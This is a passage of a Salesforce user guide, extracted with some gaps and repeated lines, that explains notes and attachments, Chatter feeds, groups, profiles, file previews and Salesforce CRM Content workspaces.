233
Notes & Attachments Viewing and Editing Google Docs, Notes, and Attachments
Consider the following when working with notes, attachments, and Google docs:
• To access a Google doc from a record detail page, the doc must be shared with your Google Apps account.
• The size limit for an attached file is 5 MB, including a file attached to a solution. The 5 MB size limit doesn't apply to
feed attachments. The maximum size for one or more files attached to emails is 10 MB. All file types are supported.
• All notes and attachments added to contacts and opportunities roll up under the associated account as well.
• You cannot edit a note or attachment unless you also have access to edit the record associated with it.
• To delete a note or attachment, you must be the owner of the note or attachment or an administrator with the “Modify
all Data” permission.
• Notes and attachments marked as private via the Private checkbox are accessible only to the owner and administrators.
For administrators to view private notes and attachments, they need the “View All Data” permission; to edit or delete
them, they need the “Modify All Data” permission.
• The Notes and Attachments related list includes files from Salesforce CRM Content when they are posted to a Chatter
feed on a record. However, the Notes and Attachments related list does not include Salesforce CRM Content files that
only exist in Salesforce CRM Content. If your organization has Salesforce CRM Content enabled, you can add the Related
Content related list to the detail pages for accounts, contacts, leads, opportunities, cases, products, or custom objects. For
more information, see Finding Salesforce CRM Content on page 290.
• Click View next to a feed attachment to display a preview of the file. Not all files can be previewed, such as copy-protected
PDFs. For files that can't be previewed, the View option isn't available and files appear as generic file type icons in the
feed. Some Microsoft Office 2007 features don't display correctly in previews.
234
Notes & Attachments Creating Notes
• If Salesforce Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related
list. Portal users can download feed attachments, but can't edit or delete them.
See Also:
Using Google Docs in Salesforce.com
Creating Notes
Adding Attachments
Note and Attachment Fields
Deleting Notes and Attachments
Salesforce CRM Content Overview
Creating Notes
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To create a note, click New Note in the Notes and Attachments related list of a record. Specify a description of the note and
its contents. The contents can contain up to 32KB of data.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the note. Spell Checker checks
the body of the note, not the title. Spell Checker does not support all the languages that Salesforce.com supports. For example,
Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported.
Click Save when you have finished. Note that you need to have access to edit the record in order to create a note associated
with it.
Note: Any notes you add from contact or opportunity pages will display in the Notes and Attachments related list of
that record, as well as in the related list for the account they are associated with.
See Also:
Adding Attachments
Note and Attachment Fields
Adding Attachments
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To add an attachment to the Attachments related list of a case, solution, or campaign, or to the Notes and Attachments related
list of an account, contact, lead, opportunity, or custom object:
235
Notes & Attachments Note and Attachment Fields
Note:
After a file is attached to the Attachments or Notes and Attachments related list, you can click View All to view the details
of all the attachments on the related list. Note that the View All button only displays when there are records to view.
See Also:
Creating Notes
Note and Attachment Fields
Notes and attachments have the following fields, listed in alphabetical order.
Attachment Fields
Field Description
Description Description of the uploaded file.
File Name Name of the uploaded file.
Private Checkbox to indicate that the attachment is only accessible
to the owner and administrators. For administrators to view
private attachments, they need the “View All Data” permission;
to edit them, they need the “Modify All Data” permission.
Share With Connections Checkbox to indicate that the attachment is shared with
connections when the parent record is shared. This checkbox
is only available if Salesforce to Salesforce is enabled, the parent
record is shared, and the attachment is public.
Size Size of the uploaded file.
236
Notes & Attachments Deleting Notes and Attachments
Note Fields
Field Description
Body Text of the note. Can hold up to 32KB of data.
Private Checkbox to indicate that note is only accessible to the owner
and administrators. For administrators to view private notes,
they need the “View All Data” permission; to edit them, they
need the “Modify All Data” permission.
Title Short description of note. Up to 80 characters are allowed in
this field.
See Also:
Adding Attachments
Creating Notes
To delete a note or attachment, click Del next to the note or attachment in the Notes and Attachments related list or
Attachments related list of a record. Deleted notes and attachments can be restored from the Recycle Bin.
To delete a file that was attached from a Salesforce Chatter feed, click Del next to the feed attachment. Before deleting a feed
attachment on the Notes and Attachments related list, consider the following:
• If the file was attached from your computer, deleting it from the Notes and Attachments related list also deletes it from
the post.
• If the file was attached from a Chatter feed, group, or a Salesforce CRM Content workspace, deleting it from the Notes
and Attachments related list also deletes it from the post and from the workspace.
See Also:
Recycle Bin
237
Salesforce Chatter Salesforce Chatter Overview
SALESFORCE CHATTER
• The number of posts, comments, and tracked field changes stored on the Salesforce.com servers
• How long posts, comments, and tracked field changes are stored on the Salesforce.com servers
• The number of posts, comments, and tracked field changes an organization can make per day
• The number of email notifications that can be sent per organization per hour
These limits are subject to change at any time. Contact salesforce.com for more information.
238
Salesforce Chatter Salesforce Chatter Overview
• On Chatter groups, where you can see updates to the group you're viewing
Chatter Group
Chatter groups let you share information with specific people. For example, if you're working on a project and want to
share information only with your team members, you can create a Chatter group for your team. Chatter groups include
a list of members, a Chatter feed, and a photo. You can create the following types of Chatter groups:
• Public: Anyone can see the group's updates, but only members can post updates. Anyone can join a public group.
• Private: Only members can see and post updates. The group's owner or managers must add members.
Follow
A subscription to a user or record that lets you see related updates in your Chatter feed on the Home tab. Follow a user
to see status updates. Follow a record to see posts, comments, and field changes.
People
Users in your Salesforce.com organization. A list of people is available on the People tab in Salesforce Chatter.
Post
A top-level comment in a Chatter feed.
Record Update
An update in a Chatter feed that is the result of a field change on a record that is being followed.
Status Update
An update made by posting to the Chatter feed on your profile or Home tab, usually to tell other people what you're
working on. Your status update displays on your Home tab, on your profile, and in the Chatter feeds of people following
you.
Unfollow
To stop following a user or record and stop seeing their updates in your Chatter feed on the Home tab.
Update
A single activity that displays in a Chatter feed, such as a status update, post, or field change.
See Also:
Setting Up Salesforce Chatter
Salesforce Chatter FAQ
Overview of Salesforce Chatter for Mobile
239
Salesforce Chatter Using Salesforce Chatter
See Also:
Setting Up Salesforce Chatter
Salesforce Chatter FAQ
USER PROFILES
Profile Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Customize your profile with a photo and information about yourself so people in your organization can learn more about you.
View your profile on the Profile tab or by clicking your name at the top of any page, on the header bar of your Home tab, in
a feed, or on a record detail page.
View other people's profiles by clicking their name in the People tab, a feed, or on a record detail page. If hover details are
enabled, you can also see contact details by hovering over names in the recent items list and owner fields on records.
The Profile, and People, and Groups tabs are available by default in the Salesforce Chatter app. Select this app from the app
menu in the top right corner of any page. If your administrator has added these tabs to other apps, you'll see the tabs in those
apps unless you previously customized your display. In that case, you'll need to add the tabs to those apps.
From your profile, you can:
240
Salesforce Chatter Updating Chatter Group and Profile Photos
• Your status displays on your profile, Home tab, hover details, and in the Chatter feed on the Home tab of people following
you. Click Clear to remove your status from these locations. Clearing your status does not remove it from feeds. Click
Delete under your status in a feed to remove it from feeds.
• You can optionally attach files and links to your status updates.
• Your contact information is also visible in your user detail and is subject to validation or other rules set by your administrator.
Click the User Detail link on your profile to view your user detail page.
• When you change your email address in your contact information, a confirmation is sent to the new address. You must
click the link provided in that email for the change to take effect.
• To search the contents of other people's About Me, click Advanced Search... in the sidebar of the Home tab or an object
tab, enter a search term, and select Users as the scope.
• Portal users don't have profiles.
• For organizations using Salesforce to Salesforce, the Connection User may display in feeds, but does not have a profile.
• Users with the "Manage Users" permission can edit profiles and photos for other users.
See Also:
Using Salesforce Chatter
Editing Salesforce Chatter Email Notifications
Salesforce Chatter FAQ
Upload a photo to your profile so people can see who you are, or upload a photo for Chatter groups that you own or manage.
• View your profile by clicking your name at the top of any page or by clicking the Profile tab
• View a group detail page by clicking the group name on the Groups tab
241
Salesforce Chatter Using the Following and Followers Lists
5. Drag the dotted lines in the photo to create a thumbnail image that will display next to your name or the group's name
around the application.
6. Click Save.
See Also:
Profile Overview
Viewing Chatter Groups
The Following and Followers lists on your profile show you who and what you are following and who is following you,
respectively. You can also view Following and Followers lists on other people's profiles to see who and what they are following
and who is following them. Click Show All in either section to view the full list in alphabetical order.
Note: When your administrator initially turns on Chatter you automatically follow some users and records in your
organization.
You can filter Following lists by users or objects, for example, accounts or contacts. In your Following list, click Unfollow to
stop following a person or record. In another person's Following list, you can also click Follow to follow a person or record.
In any Followers list, click Follow to follow a person, or Unfollow to stop following them.
In both lists, use the Next and Previous links to see more of the list. Click Done to close the window.
See Also:
Following People and Records
The People and Records You Auto-Follow Initially
Profile Overview
Chatter Feeds Overview
Using Chatter Feeds
People Tab Overview
242
Salesforce Chatter Using the Files Added List
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
The Files Added list on a profile shows the five files the profile owner posted most recently in Salesforce Chatter and Salesforce
CRM Content. You can preview or download files directly from this list.
To see a list of all the files someone has posted in Chatter orSalesforce CRM Content, or to search for a specific file, click
Show All. You can preview, download, sort, or search for files. If you can't find the file you're looking for, enter characters of
the name of the file in Search files... and click Go!. The search results are filtered based on the characters entered.
Note the following about the Files Added by list:
• Only files posted by the profile owner are listed, including files posted to the owner's profile and other people's profiles.
• Only files you have access to are listed.
Note: Not all files can be previewed, such as copy-protected PDFs. For files that can't be previewed, the View option
isn't available and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display
correctly in previews.
See Also:
Profile Overview
FEEDS
Chatter feeds show you recent activities performed by people and on records in your Salesforce.com organization. Salesforce
Chatter feeds display:
• On Chatter profiles, where you can see updates by a single user. View your own profile to see your updates and to update
your status.
• On record detail pages, where you can see updates to a single record.
• On the Home tab, where you can see your updates, status updates of people you follow, and updates to records you follow.
243
Salesforce Chatter Using Chatter Feeds
• On Chatter groups, where you can see updates to a group by its members. You'll only see feeds for public groups and
private groups you're a member of.
Depending on how your administrator has configured feed tracking, you can see feed updates for:
• Created records
• Converted leads
• People's status updates
• Chatter feed comments and posts
• Shared files and links
• Posts, comments, and files on Chatter groups you're a member of
You must follow people and records to see their updates in your Chatter feed on the Home tab. Sharing rules and field-level
security determine visibility of record changes in Chatter feeds; you must be able to see a record in order to see changes to that
record in feeds.
See Also:
Using Chatter Feeds
Following People and Records
• On Chatter profiles, where you can see updates by a single user. View your own profile to see your updates and to update
your status.
• On record detail pages, where you can see updates to a single record.
• On the Home tab, where you can see your updates, status updates of people you follow, and updates to records you follow.
• On Chatter groups, where you can see updates to a group by its members. You'll only see feeds for public groups and
private groups you're a member of.
• Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. If enabled by your
administrator, related list hover links display below Chatter feeds.
• Post to Chatter feeds by typing in the text box at the top of a feed. You can also attach files and links to posts. Anyone
who can see a record can see your post on the record's feed. Additionally, people following a record can see your post in
their Chatter feed on the Home tab. Posts to other people's profiles can be viewed by anyone.
• Update your status by posting to the Chatter feed on the Home tab or on your profile. Anyone can see your status update
by looking at your profile, and people following you can see your status update in their Chatter feed on the Home tab.
244
Salesforce Chatter Following People and Records
See Also:
Chatter Feeds Overview
Following People and Records
The People and Records You Auto-Follow Initially
Profile Overview
Salesforce Chatter Groups Overview
Follow people and records so you can see updates in your Chatter feed on the Home tab, including people's status updates
and field changes, posts, and comments on records. The field changes you see in your feed are determined by the fields your
administrator has configured for feed tracking. Updates to encrypted custom fields don't display in feeds.
Note: When your administrator initially turns on Chatter you automatically follow some users and records in your
organization.
• Click Follow on the People tab, a person's profile, or in the Following and Follower lists to follow people and see their
status updates in your Chatter feed on the Home tab. The People tab, along with the Profile and Groups tabs, is available
by default in the Salesforce Chatter app. Select this app from the app menu in the top right corner of any page. If your
administrator has added the People and Profile tabs to other apps, you'll see the tabs in those apps unless you previously
customized your display. In that case, you'll need to add the tabs to those apps.
• Click Follow on a record detail page, on aSalesforce Knowledge article, or next to a record in another person's Following
list to see updates to that record in your Chatter feed on the Home tab. You automatically follow records you own; to
change this, go to Setup ➤ My Chatter Settings ➤ My Feeds, select Stop automatically following records,
then click Save.
245
Salesforce Chatter Following People and Records
• Click Unfollow in your Chatter feed , on the People tab, a person's profile, a record detail page, or in the Following and
Followers lists to stop following people or records. Unfollowing stops future updates from people and records in your
Chatter feed on the Home tab and removes their previous updates.
See Also:
People Tab Overview
Using the Following and Followers Lists
Customizing Chatter Feed Tracking
Using Chatter Feeds
Starting in June 2010, when your administrator initially turns on Salesforce Chatter, we help get you started by automatically
following certain users and records in your organization. Who and what you auto-follow differ based on the size of your
organization:
246
Salesforce Chatter Attaching a File or Link to a Chatter Feed
See Also:
Following People and Records
Using the Following and Followers Lists
Automatically Following Records You Own
You can share files and links with people by attaching them to posts in a Chatter feed on the Home tab, a profile, a group, or
a record. You can attach files from your computer, from Chatter feeds, or from Salesforce CRM Content workspaces.
Attachments can include all file types, from traditional business documents such as Microsoft® PowerPoint presentations to
audio files, video files, Web pages, and Web links.
To attach a file to a post:
1. Enter your post in the field at the top of the feed. If you don't enter any text, a generic update is posted with your attachment.
2. Click File below your post.
3. Attach a file:
247
Salesforce Chatter Searching for Files to Attach to a Chatter Feed
• To attach a file from your computer, click Upload a file from your computer.
• To attach a file from a Chatter feed or from a group or workspace that you're a member of, click Select a file from
Salesforce, find your file, and click Attach. Attaching a file from a group or workspace doesn't create a copy of the
file, it creates a reference to the file. So if you update the file in Salesforce CRM Content, the updates are reflected in
the feed. Links, Google docs, documents (from the Documents tab), and attachments (from the Notes and Attachments
related list, for example) aren't included in the list of files to attach.
Note:
• The upload may take some time depending on your file size.
• The size limit for a file attached from your computer to a feed is 25 MB.
• When you attach a file to feed on a record, the file is also added to the record's Notes and Attachments related
list. If you don't see the Notes and Attachments related list on your page layout, contact your administrator.
• When you attach a file to a record's Notes and Attachments related list, the file is not added to the record's feed.
• Feed attachments are not included in the sidebar search.
• On some objects, the Notes and Attachments related list is titled Attachments because the object does not offer notes.
Also, the same related list may be titled Google Docs, Notes, and Attachments or Google Docs and Attachments depending
on the setting in your org. References to the Notes and Attachments related list include all versions of the related
list, regardless of title.
• Salesforce.com is not responsible for content posted by users.
1. Enter your post in the field at the top of the feed. If you don't enter any text, a generic update is posted with your attachment.
2. Click Link below your post.
3. Enter the URL to share.
4. Enter the Link Name.
5. Click Share.
See Also:
Searching for Files to Attach to a Chatter Feed
Viewing and Editing Chatter File Details
Downloading and Viewing a File in a Chatter Feed
Search for files in Chatter feeds or in Salesforce CRM Content. Enter the characters of the name of the file in Search
files... and click Go!. Salesforce CRM Content performs a full-text search of the following document types in Salesforce
Chatter and in your workspace(s): rich text format (RTF), UTF-8 encoded TXT, HTML, XML, Adobe® PDF, and Microsoft®
Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files. Wildcard searches (*) are not supported.
248
Salesforce Chatter Viewing and Editing Chatter File Details
Note the following about the files included in the Select a File to Attach list:
• Files posted to Chatter feeds on the Home tab, a profile, a group (that you're a member of ), or a record are listed.
• Files from workspaces that you're a member of and where you have Post Content to Chatter Feeds or Manage
Workspace checked in your workspace permission definition are listed.
• Links, Google docs, documents (from the Documents tab), and attachments (from the Notes and Attachments related
list, for example) aren't included in the list.
See Also:
Attaching a File or Link to a Chatter Feed
Downloading and Viewing a File in a Chatter Feed
Deleting a File or Link from a Chatter Feed
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
You can view and edit the properties of a file posted on a Chatter feed through Salesforce CRM Content. Clicking on a
Chatter file name on the Workspaces, Content, or Subscriptions tab opens the content details page, which provides the
following options:
- Microsoft® Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint. Some Microsoft Office 2007
features don't display correctly in previews.
- Adobe® PDF. Copy-protected PDFs can't be previewed.
- JPG, BMP, GIF, and PNG
• Click the Versions subtab to view a list of all file versions and the reason-for-change statements provided by the authors.
• Click the Downloads subtab to view a list of all Salesforce CRM Content users who have downloaded the file.
• Click the Subscribers subtab to view a list of all Salesforce CRM Content users subscribed to the file.
249
Salesforce Chatter Downloading and Viewing a File in a Chatter Feed
Note: The Edit option is only available to the owner of the file.
See Also:
Attaching a File or Link to a Chatter Feed
Downloading and Viewing a File in a Chatter Feed
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
Not only can you download and save files posted to Salesforce Chatter feeds, you can also preview files in your browser without
downloading them.
There are several places in Chatter where you can download and preview files:
• On any Chatter feed, click Download next to the file, or to preview the file, click the file icon or click View.
• On a profile, you can download or preview a file from the Files Added list by clicking the Download or View icons next
to the file.
• On a group, you can download or view a file from the Recent Files list by clicking the Download or View icons next to
the file.
• In the Notes and Attachments related list on a record, click Download next to the feed attachment, or to preview the file,
click View next to the feed attachment.
Note: Not all files can be previewed, such as copy-protected PDFs. For files that can't be previewed, the View option
isn't available and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display
correctly in previews.
Clicking View next to a Chatter file opens the file in your browser with the enhanced document viewer. The enhanced
document viewer provides the following capabilities for viewing documents:
• In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document toolbar,
you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous Page.
• You can use the scroll bar to move continuously through a document without needing to click the Next Page and Previous
Page icons. Continuous scrolling is not available for PowerPoint files.
• You can jump directly to a page by entering the page number in the page field and pressing Enter.
• From the right-click menu you can choose Fit Width to expand the width of the document, or Fit Full Page to view the
whole page of the document. The fit width icon ( ) and fit full page icon ( ) are also available on the toolbar.
• From the right-click menu you can choose Full Screen to view the document in full screen mode, or Exit to exit full screen
mode. The full screen icon ( ) and exit icon ( ) are also available on the toolbar.
250
Salesforce Chatter Deleting a File or Link from a Chatter Feed
• From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also
available on the toolbar.
• You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer and
use the keys as follows:
- Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document
forward one page.
- Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document
backward one page.
- Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document up the
page.
- Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document
down the page.
See Also:
Attaching a File or Link to a Chatter Feed
Viewing and Editing Chatter File Details
Deleting a File or Link from a Chatter Feed
There are different ways to delete Salesforce Chatter files and links depending on where they appear. You can't delete files
and links posted by other people.
Deleting a File or Link from a Chatter Feed on the Home Tab, a Profile, or a Group
To delete a file or link on a Chatter feed, you must delete its post. Before deleting a post on the Home tab, a profile, or a
group, consider the following:
• If the file was attached from your computer, deleting the post also deletes the file on the post.
• If the file was attached from a Chatter feed, group, or a Salesforce CRM Content workspace, deleting the post also deletes
the file on the post, but doesn't delete the file from its original location.
• If the file was attached to a post and is shared in other locations, deleting the post also deletes the file on the post and other
locations where it's been shared.
251
Salesforce Chatter Automatically Following Records You Own
- If the file was attached from your computer, deleting it from the Notes and Attachments related list also deletes it from
the post.
- If the file was attached from a Chatter feed, group, or a Salesforce CRM Content workspace, deleting it from the Notes
and Attachments related list also deletes it from the post and from the workspace.
See Also:
Attaching a File or Link to a Chatter Feed
Viewing and Editing Chatter File Details
Downloading and Viewing a File in a Chatter Feed
You automatically follow records that you own, meaning that you will see updates in your Chatter feed when fields are changed
on those records.
Note: To automatically follow a record when someone else assigns you ownership, your administrator must enable
the owner field on the object for feed tracking. For example, if the Account Owner field isn't tracked and someone
changes the owner of an account , the new owner won't automatically follow the account.
See Also:
Following People and Records
Chatter Feeds Overview
The People and Records You Auto-Follow Initially
252
Salesforce Chatter Salesforce Chatter Groups Overview
GROUPS
The Groups tab displays a list of Salesforce Chatter groups in your organization. Chatter groups let you collaborate with
specific people. For example, if you're working on a team project, you can create a Chatter group for your team to share
project-related files and information with each other. There are two types of Chatter groups:
• Public: Anyone can see the group's posts, comments, and files, but only members can add posts, comments, and files.
Anyone can join a public group.
• Private: Only members can see and add posts, comments, and files. People with the ”Modify All Data” and “View All
Data” permissions can see posts, updates, and files. The group's owner or managers must add members.
• Search for groups by typing two or more letters of a group name in the quick find box at the top of the page. The list
automatically filters based on what you type.
• Click New Group to create a new group.
• Click Join in the Membership column next to a public group to join the group.
• Click Ask Owner in the Membership column next to a private group to view the group owner's profile. You can then ask
the owner to add you to the group.
• Click X in the Membership column next to a group you're a member of to leave the group.
• Click a group name to view the group detail page. You can view detail pages for all groups, but you'll only see updates and
files for public groups, and for private groups that you're a member of.
• Click a group owner's name to see his or her profile.
• Click the Group, Owner, or Membership column headers to sort the list. The list is automatically sorted by the Membership
column to show you the groups you own, manage, and are a member of.
Note: The Profile, and People, and Groups tabs are available by default in the Salesforce Chatter app. Select this app
from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you'll
see the tabs in those apps unless you previously customized your display. In that case, you'll need to add the tabs to
those apps.
See Also:
Editing, Changing the Owner, or Deleting Chatter Groups
Viewing Chatter Groups
Using the Recent Files List
Creating Chatter Groups
Adding and Removing Chatter Group Members
253
Salesforce Chatter Creating Chatter Groups
• Public: Anyone can see the group's posts, comments, and files, but only members can add posts, comments, and files.
Anyone can join a public group.
• Private: Only members can see and add posts, comments, and files. People with the ”Modify All Data” and “View All
Data” permissions can see posts, updates, and files. The group's owner or managers must add members.
4. Click Save.
See Also:
Viewing Chatter Groups
Salesforce Chatter Groups Overview
Adding and Removing Chatter Group Members
Viewing Chatter Group Members
On the group detail page, you can see details about a group and perform actions depending on the type of group and your
membership status.
From a group detail page, you can:
254
Salesforce Chatter Viewing Chatter Group Members
• View, download, and search files posted to the group in the Recent Files section.
Note: People with the “Modify All Data” permission can upload photos, change member roles, change group owners,
delete posts and comments, and edit group settings for all groups, regardless of membership. However, they can't post
or comment on groups they're not a member of.
See Also:
Creating Chatter Groups
Editing, Changing the Owner, or Deleting Chatter Groups
Using the Recent Files List
Salesforce Chatter Groups Overview
Adding and Removing Chatter Group Members
Viewing Chatter Group Members
The Members list on a Chatter group detail page shows you all of the members of a group. Click Show All to view the full
list in alphabetical order.
You can filter the list to see only managers or owners. Click Follow or Unfollow next to people's names to start or stop
following them.
Use the Next and Previous links to see more of the list. Click Done to close the window.
See Also:
Adding and Removing Chatter Group Members
Viewing Chatter Groups
255
Salesforce Chatter Using the Recent Files List
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
The Recent Files list on a Salesforce Chatter group shows the five most recent files posted to that group. You can preview or
download files directly from this list.
To see a list of all the files posted to a group or to search for a specific file, click Show All. You can preview, download, sort,
or search for files. If you can't find the file you're looking for, enter characters of the name of the file in Search files...
and click Go!. The search results are filtered based on the characters entered. Only files you have access to are listed in the
Files Shared with list. For example, you won't see files from groups you're not a member of.
Note: Not all files can be previewed, such as copy-protected PDFs. For files that can't be previewed, the View option
isn't available and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display
correctly in previews.
See Also:
Salesforce Chatter Groups Overview
• Public: Anyone can see the group's posts, comments, and files, but only members can add posts, comments, and files.
Anyone can join a public group.
• Private: Only members can see and add posts, comments, and files. People with the ”Modify All Data” and “View All
Data” permissions can see posts, updates, and files. The group's owner or managers must add members.
If you change a private group to public, updates and files will be visible to all users and anyone will be able to join the
group.
5. Click Save.
256
Salesforce Chatter Chatter Group Roles Overview
Group owners and users with the “Modify All Data” permission can click Delete to delete the group. Deleting a group
permanently deletes the updates of the group. It also deletes all files and links posted to the group and removes the files from
other locations where they were shared.
See Also:
Creating Chatter Groups
Viewing Chatter Groups
Salesforce Chatter Groups Overview
Adding and Removing Chatter Group Members
The following table describes the actions that can be performed by members, managers, and owners of Chatter groups.
Note: People with the “Modify All Data” permission can upload photos, change member roles, change group owners,
delete posts and comments, and edit group settings for all groups, regardless of membership. However, they can't post
or comment on groups they're not a member of.
See Also:
Viewing Chatter Groups
Salesforce Chatter Groups Overview
Adding and Removing Chatter Group Members
257
Salesforce Chatter Changing Chatter Group Roles
4. Click Done.
See Also:
Viewing Chatter Groups
Salesforce Chatter Groups Overview
Viewing Chatter Group Members
Adding and Removing Chatter Group Members
Note: Anyone can join public groups by clicking Join Group on a group detail page, or Join in the Membership
column on the Groups tab. Members and managers can leave public or private groups by clicking Leave Group on a
258
Salesforce Chatter Editing Salesforce Chatter Email Notifications
group detail page or X in the Membership column on the Groups tab. To be notified when you're added to Chatter
groups, enable email notifications.
See Also:
Viewing Chatter Group Members
Creating Chatter Groups
Chatter Group Roles Overview
Changing Chatter Group Roles
If your administrator has enabled email notifications, you can choose to receive notifications when Salesforce Chatter activities
occur.
• Follow you
• Post on your profile
• Comment on your status or a change you make, such as a post on a profile
• Comment on posts on your profile
• Comment after you comment in a Chatter feed
4. Click Save.
• When Receive Emails is selected, you automatically receive email notifications when you're added to Chatter groups.
• If you select Comments on a post on my profile, you won't receive a notification when someone comments on
changes to your profile by an administrator.
• If you select Comments after me, you will only receive email notifications for up to four comments after you.
• Salesforce Chatter includes limits the number of email notifications that can be sent per organization per hour. These
limits are subject to change at any time.
See Also:
Using Salesforce Chatter
Chatter Feeds Overview
259
Salesforce CRM Content People Tab Overview
The People tab displays a list of the users in your organization. The Profile, and People, and Groups tabs are available by
default in the Salesforce Chatter app. Select this app from the app menu in the top right corner of any page. If your administrator
has added these tabs to other apps, you'll see the tabs in those apps unless you previously customized your display. In that case,
you'll need to add the tabs to those apps.
On the People tab:
• Search for users by typing characters of a first or last name in the search box at the top of the page. The list will automatically
filter based on what you type.
• At the top of the list, click a letter to list everyone whose last name begins with that letter.
• Click a person's name or photo to view his or her profile.
• Click Follow to see a person's status updates in the Chatter feed on the Home tab.
• Click Unfollow to stop seeing a person's status updates in the Chatter feed on the Home tab.
See Also:
Chatter Feeds Overview
Using the Following and Followers Lists
Following People and Records
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
With Salesforce CRM Content you can organize, share, search, and manage content within your organization and across key
areas of the Salesforce.com application. Content can include all file types, from traditional business documents such as
Microsoft® PowerPoint presentations to audio files, video files, Web pages, and Google® docs.
Overview
Salesforce CRM Content simplifies content management by incorporating user-friendly features into the following tasks:
260
Salesforce CRM Content Salesforce CRM Content Overview
Organizing
Rather than keep files in folders that make content difficult to find, Salesforce CRM Content stores files in fully searchable
file repositories known as workspaces. Administrators can create multiple workspaces based on any classification, such
as department name, job function, or team, then configure user permissions within the workspace to balance content
access with security. Authors assign descriptive labels called tags to help classify and organize content across workspaces.
You can view a list of all content that belongs to a particular tag or filter search results based on a tag or tags. Salesforce
CRM Content also provides personal workspaces, which allow users to reduce the clutter on their desktops while using
content-management benefits such as document search and version control.
Searching
The powerful Salesforce CRM Content search engine scans the entire body of the document as well as content properties
such as the title, description, tags, categorization data, and author name. You can filter searches by featured content, file
format, author, tags, workspaces, or custom fields and then view the results with various levels of detail, providing an
easy way to find relevant content quickly. If Salesforce Chatter is enabled for your organization, you can also filter your
search results by Chatter files. The “smart bar” graphic for downloads, comments, ratings, and subscribers allows you to
compare documents within a search result set.
Subscribing
Once a file is located, subscribing to it ensures that you receive an email notification when new versions are published
or changes are made to the file's properties. You can also subscribe to authors, tags, and workspaces, thus reducing the
time spent searching for new or updated content. Notification emails will arrive real-time or once daily, depending on
your preferences.
Previewing
In Salesforce CRM Content you do not need to download a large document to determine if its content is relevant to
you. The content details page provides document details at a glance, including document title, author, description, tags,
workspaces, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft PowerPoint, Word,
Excel, or Adobe® PDF file, you can preview the entire file in your browser without downloading it. Some Microsoft
Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed.
Contributing
Uploading new or revised files in Salesforce CRM Content is fast and easy. During the upload process you choose a
workspace and content type for your file or Web link, write a description, assign one or more tags, and fill out any
customized fields that help categorize and define your content. Version management does not require checking files in
and out, rather, you simply upload a new version of the file and Salesforce CRM Content maintains a version list accessible
from the content details page. You can download past versions of a file and read all reason-for-change comments that
an author may have included with a new version.
261
Salesforce CRM Content Salesforce CRM Content Overview
Implementation Tips
• To implement Salesforce CRM Content for your organization, see Setting Up Salesforce CRM Content on page 1156.
• Before creating workspaces, review the files you plan to store in Salesforce CRM Content to determine how many workspaces
you need and what content belongs in each workspace. Users are given access to content based on workspace.
• If you have a large number of Salesforce CRM Content users, create a public group and add the group to a workspace
rather than adding users to the workspace individually.
• To enable Salesforce CRM Content functionality for leads, accounts, contacts, opportunities, cases, products, or custom
objects, add the Related Content related list to the appropriate page layout. For more information, see Customizing Page
Layouts on page 1014.
• To send web-formatted content to colleagues, leads, or contacts and associate it with Salesforce.com records, add the
Content Deliveries related list to the page layout for leads, accounts, contacts, opportunities, cases, campaigns, or custom
objects. For more information about content deliveries and a full list of implementation tips and best practices, see Setting
up Content Deliveries on page 1175.
• To allow users to publish, edit, and search in any of the Salesforce.com-supported languages, go to Setup ➤ Customize
➤ Salesforce CRM Content ➤ Settings and click Enable multi-language search and contribute.
• To associate Google docs with a workspace, the Add Google Doc to Salesforce.com service must be activated for your
organization. For more information, see Activating Google Docs in Salesforce.com on page 302.
• If you want PDFs to open inline rather than in a separate window, go to Setup ➤ Customize ➤ Salesforce CRM Content
➤ Settings and click Do not open PDFs in a separate window. Copy-protected PDFs can't be previewed.
• Salesforce CRM Content is available via the Customer Portal and partner portal. For more information, see Enabling
Salesforce CRM Content in the Customer Portal on page 1331 and Enabling Salesforce CRM Content in the Partner Portal
on page 2510.
• For information about using Google Docs with Salesforce CRM Content, see Contributing Google Docs to Salesforce
CRM Content on page 272.
Best Practices
• If you are using the Related Content related list on Salesforce.com objects, align your custom content fields with the
standard and custom fields on the object to increase the accuracy of a “Find Content” search. Clicking the Find Content
button on the related list matches content to the fields on the record and displays search results containing the related
content.
• To ensure that content is classified consistently, define consistent tag names with your contributors. For example, by
establishing tag names at the outset, you can avoid having tags such as “channel” and “channels” in the same workspace.
• Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and
subscribe. Therefore, excessive tagging creates unnecessary clutter.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters.
The case of the original tag is always used.
• To highlight valuable content and make it easier to find, mark it as “featured” on the content details page. Featured content
receives a higher priority than similar content in search results, and appears on the Workspaces tab for easy access. To
feature content, users must have the Feature Content option checked in their workspace permission.
• If your organization uses Google Docs, encourage workspace members to add their Google docs to a workspace. Including
